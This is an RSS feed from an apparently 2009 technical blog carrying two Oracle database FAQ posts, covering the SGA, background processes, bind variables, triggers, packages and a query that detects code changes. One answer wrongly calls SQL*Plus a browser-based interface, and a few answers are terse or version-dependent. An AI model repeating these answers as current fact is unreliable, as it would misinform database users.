<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information World &#187; Oracle PL/SQL FAQ</title>
	<atom:link href="http://www.dailyinfobyte.com/tag/oracle-plsql-faq/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyinfobyte.com</link>
	<description>Technical Tips and more...</description>
	<lastBuildDate>Thu, 12 Nov 2009 07:57:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Oracle &#8211; Frequently Asked Questions</title>
		<link>http://www.dailyinfobyte.com/2009/04/29/oracle-frequently-asked-questions/</link>
		<comments>http://www.dailyinfobyte.com/2009/04/29/oracle-frequently-asked-questions/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 11:52:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[FAQ]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[Oracle - Frequently Asked Questions]]></category>
		<category><![CDATA[Oracle PL/SQL FAQ]]></category>
		<category><![CDATA[What are the components of SGA?]]></category>
		<category><![CDATA[What is ORACLE?]]></category>
		<category><![CDATA[What is SGA?]]></category>
		<category><![CDATA[What is the function of Checkpoint (CKPT)?]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=193</guid>
		<description><![CDATA[1. What is ORACLE?
Oracle is a Relational Database Management System (RDBMS) which is used widely for business applications.
 2. What is SGA?
The System Global Area (SGA) is a shared memory region allocated by ORACLE that contains data and control information for one ORACLE instance.
 3. What is the function of Checkpoint (CKPT)?
The Checkpoint (CKPT) process is responsible for signaling DBWR at checkpoints and updating all the data files and control files of [...]]]></description>
			<content:encoded><![CDATA[<p><strong>1. What is ORACLE?</strong></p>
<p style="margin: 0in 0in 0pt;">Oracle is a Relational Database Management System (RDBMS) which is used widely for business applications.</p>
<p> <strong>2. What is SGA?</strong></p>
<p style="margin: 0in 0in 0pt;">The System Global Area (SGA) is a shared memory region allocated by ORACLE that contains data and control information for one ORACLE instance.</p>
<p> <strong>3. What is the function of Checkpoint (CKPT)?</strong></p>
<p style="margin: 0in 0in 0pt;">The Checkpoint (CKPT) process is responsible for signaling DBWR at checkpoints and updating all the data files and control files of the database.</p>
<p style="margin: 0in 0in 0pt;">The CKPT is also useful to get the point in time from where to begin the recovery in case of failure.</p>
<p style="margin: 0in 0in 0pt;"> Which background process is responsible for writing the dirty buffers from the write list to the data files during a checkpoint?</p>
<p style="margin: 0in 0in 0pt;">The DBWn is usually responsible for this.</p>
<p style="margin: 0in 0in 0pt;"> What are the components of SGA? </p>
<p style="margin: 0in 0in 0pt;">The components of the SGA are Database buffers, Redo Log Buffer and the Shared Pool.</p>
<p><strong> </strong><strong> 4. What constitute an ORACLE Instance?</strong></p>
<p style="margin: 0in 0in 0pt;">SGA and ORACLE background processes together constitute an ORACLE instance.</p>
<p style="margin: 0in 0in 0pt;"> What do Database Buffers contain?</p>
<p style="margin: 0in 0in 0pt;">Database Buffers store the most recently used blocks of database data. They can also contain modified data that has not yet been permanently written to disk.</p>
<p> <strong>5. What do Redo Log Buffers contain?</strong></p>
<p style="margin: 0in 0in 0pt;">Redo Log Buffers store redo entries or a log of changes made to the database.</p>
<p> <strong> 6. What is Shared Pool?</strong></p>
<p style="margin: 0in 0in 0pt;">Shared pool is composed of two parts; Library Cache and Data Dictionary Cache.</p>
<p style="margin: 0in 0in 0pt;">The Library Cache contains the shared SQL areas, private SQL areas, PL/SQL procedures and packages, and control structures such as locks and Library Cache handles. The shared SQL area contains the parse tree and execution plan; whereas the private SQL area contains values for bind variables and runtime buffers. The data dictionary cache holds most recently used database dictionary information.</p>
<p> </p>
<p style="margin: 0in 0in 0pt;"><strong> 7. What is the default undo management mode in ORACLE? </strong></p>
<p style="margin: 0in 0in 0pt;">The default undo management mode is manual.</p>
<p> <strong>8. How can you dynamically size the SGA?</strong></p>
<p style="margin: 0in 0in 0pt;">You can do this using the Alter System command.</p>
<p>  <strong>9. What is the Multiple Block size? </strong></p>
<p style="margin: 0in 0in 0pt;">We can assign different block sizes for each table space. This is called the Multiple Block size.</p>
<p> </p>
<p style="margin: 0in 0in 0pt;"> <strong>10. Where are the compiled functions and procedures stored in memory? </strong></p>
<p style="margin: 0in 0in 0pt;">These are stored in the Library Cache.</p>
<p>  <strong>11. What is SQL*PLUS? </strong></p>
<p style="margin: 0in 0in 0pt;">It is a browser-based interface to communicate with the database.</p>
<p> <strong> 12. What are the advantages of creating clusters in ORACLE?</strong></p>
<p style="margin: 0in 0in 0pt;">It improves the efficiency of join queries and they are storage efficient.</p>
<p> <strong> 13. What are Bind Variables?</strong></p>
<p style="margin: 0in 0in 0pt;">A bind variable is a variable that you declare in a host environment. Bind variables can be used to pass run-time values, either number or character, into or out of one or more PL/SQL programs. The PL/SQL programs use bind variables as they would use any other variable. You can reference variables declared in the host or calling environment in PL/SQL statements, unless the statement is in a procedure, function, or package. This includes host language variables declared in precompiler programs, screen fields in Oracle Developer Forms applications, and iSQL*Plus bind variables.</p>
<p> <strong> 14. How to create Bind Variables?</strong></p>
<p style="margin: 0in 0in 0pt;">To declare a bind variable in the iSQL*Plus environment, use the command VARIABLE. For example, you declare a variable of type NUMBER and VARCHAR2 as follows:</p>
<p style="margin: 0in 0in 0pt;">VARIABLE return_code NUMBER</p>
<p style="margin: 0in 0in 0pt;">VARIABLE return_msg  VARCHAR2(30)</p>
<p style="margin: 0in 0in 0pt;">Both SQL and iSQL*Plus can reference the bind variable, and iSQL*Plus can display its value through the iSQL*Plus PRINT command.</p>
<p>  <strong>15. Explain few programming guidelines for PL/SQL ?</strong></p>
<p style="margin: 0in 0in 0pt;">To produce clear code and reduce maintenance when developing a PL/SQL block follow the below listed guidelines</p>
<p style="margin: 0in 0in 0pt;">-              Documenting code with comments</p>
<p style="margin: 0in 0in 0pt;">-              Developing a case convention for the code</p>
<p style="margin: 0in 0in 0pt;">-              Developing naming conventions for identifiers and other objects</p>
<p style="margin: 0in 0in 0pt;">-              Enhancing readability by indenting</p>
<p><strong> </strong><strong>16. What are the advantages of using cursors with FOR LOOPS?</strong></p>
<p style="margin: 0in 0in 0pt;">A cursor FOR loop is a shortcut because of the following reasons</p>
<p style="margin: 0in 0in 0pt;">-              the cursor is opened automatically when the for loop is encountered for the first time and fetches the first row</p>
<p style="margin: 0in 0in 0pt;">-              rows are fetched once for each iteration in the loop</p>
<p style="margin: 0in 0in 0pt;">-              The loop itself is terminated automatically at the end of the iteration where the last row is fetched.</p>
<p>  <strong>17. What is the use of NO WAIT option with SELECT&#8230;. FOR UPDATE clause?</strong></p>
<p style="margin: 0in 0in 0pt;">The optional NOWAIT keyword tells Oracle not to wait if requested rows have been locked by another user. Control is immediately returned to your program so that it can do other work before trying again to acquire the lock. If you omit the NOWAIT keyword , Oracle waits until the rows are available.</p>
<p> <strong>18. Can we use raise system defined exceptions  explicitly by issuing the RAISE statement?</strong></p>
<p style="margin: 0in 0in 0pt;">Yes, you can. For example : RAISE NO_DATA_FOUND</p>
<p>  <strong>19. Can we handle the exception raised by RAISE_APPLICATION_ERROR?</strong></p>
<p style="margin: 0in 0in 0pt;">Yes. For example, you can write &#8220;WHEN OTHERS&#8221; exception handler, and handler for this.</p>
<p> <strong>20. Can we assign default values to all modes of parameters in a subprogram?</strong></p>
<p style="margin: 0in 0in 0pt;">You can assign default values only to parameters of the IN mode. OUT and IN OUT parameters are not permitted to have default values.</p>
<p>  <strong>21. How Procedures are different from Functions?</strong></p>
<p style="margin: 0in 0in 0pt;">You create a procedure to store a series of actions for later execution. A procedure can contain zero or more parameters that can be transferred to and from the calling environment, but a procedure does not have to return a value.</p>
<p style="margin: 0in 0in 0pt;">You create a function when you want to compute a value, which must be returned to the calling environment. A function can contain zero or more parameters that are transferred from the calling environment. Functions should return only a single value, and the value is returned through a RETURN statement. Functions used in SQL statements cannot have OUT or IN OUT mode parameters.</p>
<p>  <strong>22. What is the use of SHOW ERRORS command?</strong></p>
<p style="margin: 0in 0in 0pt;">SHOW ERRORS command is used  at the SQL prompt to obtain compilation errors for the last object you compiled.</p>
<p style="margin: 0in 0in 0pt;">You can also use the command with a specific program unit. The syntax is as follows:</p>
<p style="margin: 0in 0in 0pt;">SHOW ERRORS [{FUNCTION|PROCEDURE|PACKAGE|PACKAGE BODY|TRIGGER|VIEW} [schema.]name]</p>
<p style="margin: 0in 0in 0pt;">Example : SHOW ERRORS PROCEDURE p1</p>
<p style="margin: 0in 0in 0pt;">Using the SHOW ERRORS command, you can view only the compilation errors that are generated by the latest statement that is used to create a subprogram. The USER_ERRORS data dictionary view stores all the compilation errors generated previously while creating subprograms.</p>
<p><strong> </strong><strong> 23. How to drop one member of a package?</strong></p>
<p style="margin: 0in 0in 0pt;">You cannot drop members of a package using DROP command. When you drop the package, all the members of the package are automatically dropped. To drop or add any members of the package, rewrite the whole package again.</p>
<p><strong> </strong><strong> 24. What will happen to the dependent constructs of a package ,if we change the package specification?</strong></p>
<p style="margin: 0in 0in 0pt;">Changes to the package body do not require recompilation of dependent constructs, whereas changes to the package specification require recompilation of every stored subprogram that references the package. To reduce the need for recompiling when code is changed, place as few constructs as possible in a package specification.</p>
<p>  <strong>25. Explain the firing sequence for a trigger on a table.</strong></p>
<p style="margin: 0in 0in 0pt;">The sequence is as below :</p>
<p>a.            Before Statement Trigger</p>
<p>b.            Before Row Trigger</p>
<p>c.             After row trigger</p>
<p>d.            After statement Trigger</p>
<p>  <strong>26. Can we write INSTEAD OF triggers on tables?</strong></p>
<p style="margin: 0in 0in 0pt;">No, it is written only on views</p>
<p><strong> </strong><strong> 27. What will happen to triggers when the table on which the trigger is written?</strong></p>
<p style="margin: 0in 0in 0pt;">All triggers on a table are automatically dropped when the  table is dropped.</p>
<p style="margin: 0in 0in 0pt;"> </p>
<p style="margin: 0in 0in 0pt;"> </p>
<p style="margin: 0in 0in 0pt;"> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/04/29/oracle-frequently-asked-questions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oracle PL/SQL FAQ</title>
		<link>http://www.dailyinfobyte.com/2009/03/10/oracle-plsql-faq/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/10/oracle-plsql-faq/#comments</comments>
		<pubDate>Tue, 10 Mar 2009 12:02:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[FAQ]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[Oracle PL/SQL FAQ]]></category>
		<category><![CDATA[pl/SQL]]></category>
		<category><![CDATA[technical FAQ]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=98</guid>
		<description><![CDATA[Source: http://www.orafaq.com 
Web site has given permission to distribute this FAQ for non-profit purpose provided the ‘Disclaimer’ and ‘Copyright’ mentioned at the end of the document is included along with FAQ.
Oracle PL/SQL FAQ
Author: Frank Naudé
Topics
·  What is PL/SQL and what is it used for? 
·  Should one use PL/SQL or Java to code procedures and [...]]]></description>
			<content:encoded><![CDATA[<h1 style="margin: auto 0in; text-align: center;"><a name="_top"></a><em><span style="font-size: 10pt; font-family: &quot;Helvetica&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="color: #666699;">Source: </span></span></em><span style="font-size: 10pt; mso-fareast-font-family: 'Times New Roman';"><a href="http://www.orafaq.com/"><em><span style="font-family: &quot;Helvetica&quot;,&quot;sans-serif&quot;;"><span style="color: #0000ff;">http://www.orafaq.com</span></span></em></a><em><span style="font-family: &quot;Helvetica&quot;,&quot;sans-serif&quot;;"><span style="color: #666699;"> </span></span></em></span><span style="mso-fareast-font-family: 'Times New Roman';"></span></h1>
<h1 style="margin: auto 0in; text-align: center;"><span style="color: #666699;"><em><span style="font-size: 10pt; font-family: &quot;Helvetica&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';">Web site has given permission to distribute this FAQ for non-profit purpose provided the ‘Disclaimer’ and ‘Copyright’ mentioned at the end of the document is included along with FAQ.</span></em><span style="mso-fareast-font-family: 'Times New Roman';"></span></span></h1>
<h1 style="margin: auto 0in; text-align: center;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: x-large;"><span style="color: #666699;">Oracle PL/SQL FAQ</span></span></span></h1>
<h1 style="margin: auto 0in;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="color: #666699;">Author: </span><a href="http://orafaq.com/frank.htm" target="_top"><span style="color: #0000ff;">Frank Naudé</span></a></span><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"></span></h1>
<h2 style="margin: auto 0in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">Topics</span></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_What_is_PL/SQL"><span style="font-size: small; color: #0000ff;">·  What is PL/SQL and what is it used for?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_Should_one_use"><span style="font-size: small; color: #0000ff;">·  Should one use PL/SQL or Java to code procedures and triggers?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_How_can_one"><span style="font-size: small; color: #0000ff;">·  How can one see if somebody modified any code?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_How_can_one_1"><span style="font-size: small; color: #0000ff;">·  How can one search PL/SQL code for a string/key value?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_How_can_one_2"><span style="font-size: small; color: #0000ff;">·  How can one keep a history of PL/SQL code changes?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_How_can_I"><span style="font-size: small; color: #0000ff;">·  How can I protect my PL/SQL source code?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_Can_one_print"><span style="font-size: small; color: #0000ff;">·  Can one print to the screen from PL/SQL?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_Can_one_read/write"><span style="font-size: small; color: #0000ff;">·  Can one read/write files from PL/SQL?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_Can_one_call"><span style="font-size: small; color: #0000ff;">·  Can one call DDL statements from PL/SQL?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_Can_one_use"><span style="font-size: small; color: #0000ff;">·  Can one use dynamic SQL statements from PL/SQL?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_What_is_the"><span style="font-size: small; color: #0000ff;">·  What is the difference between %TYPE and %ROWTYPE?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_What_is_the_1"><span style="font-size: small; color: #0000ff;">·  What is the result of comparing NULL with NULL?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_How_does_one"><span style="font-size: small; color: #0000ff;">·  How does one get the value of a sequence into a PL/SQL variable?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_Can_one_execute"><span style="font-size: small; color: #0000ff;">·  Can one execute an operating system command from PL/SQL?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_How_does_one_1"><span style="font-size: small; color: #0000ff;">·  How does one loop through tables in PL/SQL?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_How_often_should"><span style="font-size: small; color: #0000ff;">·  How often should one COMMIT in a PL/SQL loop? / What is the best commit strategy?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_I_can_SELECT"><span style="font-size: small; color: #0000ff;">·  I can SELECT from SQL*Plus but not from PL/SQL. What is wrong?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_What_is_a"><span style="font-size: small; color: #0000ff;">·  What is a mutating and constraining table?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_Can_one_pass"><span style="font-size: small; color: #0000ff;">·  Can one pass an object/table as an argument to a remote procedure?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_Is_it_better"><span style="font-size: small; color: #0000ff;">·  Is it better to put code in triggers or procedures? What is the difference?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_Is_there_a"><span style="font-size: small; color: #0000ff;">·  Is there a PL/SQL Engine in SQL*Plus?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_Is_there_a_1"><span style="font-size: small; color: #0000ff;">·  Is there a limit on the size of a PL/SQL block?</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_Where_can_one"><span style="font-size: small; color: #0000ff;">-  Where can one find more info about PL/SQL?</span></a></span><span class="MsoHyperlink"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span><span style="font-size: 10pt;"></span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_What_is_PL/SQL"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">What is PL/SQL and what is it used for?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">PL/SQL is Oracle&#8217;s <span style="color: blue;">P</span>rocedural <span style="color: blue;">L</span>anguage extension to <span style="color: blue;">SQL</span>. PL/SQL&#8217;s language syntax, structure and data types are similar to that of </span><a href="http://orafaq.com/glossary/faqglosa.htm"><span style="font-size: small; color: #0000ff;">ADA</span></a><span style="font-size: small;">. The PL/SQL language includes object oriented programming techniques such as encapsulation, function overloading, information hiding (all but inheritance). PL/SQL is commonly used to write data-centric programs to manipulate data in an Oracle database. </span></span></p>
<p><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="color: #0000ff;">·  Back to top of file</span></a> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_Should_one_use"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">Should one use PL/SQL or Java to code procedures and triggers?</span></span></span></h3>
<p><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">Internally the Oracle database supports two procedural languages, namely PL/SQL and Java. This leads to questions like &#8220;Which of the two is the best?&#8221; and &#8220;Will Oracle ever desupport PL/SQL in favor of Java?” </span></p>
<p><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">Many Oracle applications are based on PL/SQL and it would be difficult of Oracle to ever desupport PL/SQL. In fact, all indications are that PL/SQL still has a bright future ahead of it. Many enhancements are still being made to PL/SQL. For example, Oracle 9iDB supports native compilation of Pl/SQL code to binaries. </span></p>
<p><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">PL/SQL and Java appeal to different people in different job roles. The following table briefly describes the difference between these two language environments: </span></p>
<p><strong><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">PL/SQL:</span></strong><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">·  Data centric and tightly integrated into the database </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">·  Proprietary to Oracle and difficult to port to other database systems </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">·  Data manipulation is slightly faster in PL/SQL than in Java </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">·  Easier to use than Java (depending on your background) </span></span></p>
<p><strong><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">Java:</span></strong><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">·  Open standard, not proprietary to Oracle </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">·  Incurs some data conversion overhead between the Database and Java type systems </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">·  Java is more difficult to use (depending on your background) </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_How_can_one"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">How can one see if somebody modified any code?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Code for stored procedures, functions and packages are stored in the Oracle Data Dictionary. One can detect code changes by looking at the LAST_DDL_TIME column in the USER_OBJECTS dictionary view. Example: </span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        SELECT OBJECT_NAME,</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               TO_CHAR (CREATED,       'DD-Mon-RR HH24: MI’) CREATE_TIME,</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               TO_CHAR(LAST_DDL_TIME, 'DD-Mon-RR HH24:MI') MOD_TIME,</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               STATUS</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        FROM   USER_OBJECTS</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        WHERE  LAST_DDL_TIME &gt; '&amp;CHECK_FROM_DATE';</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
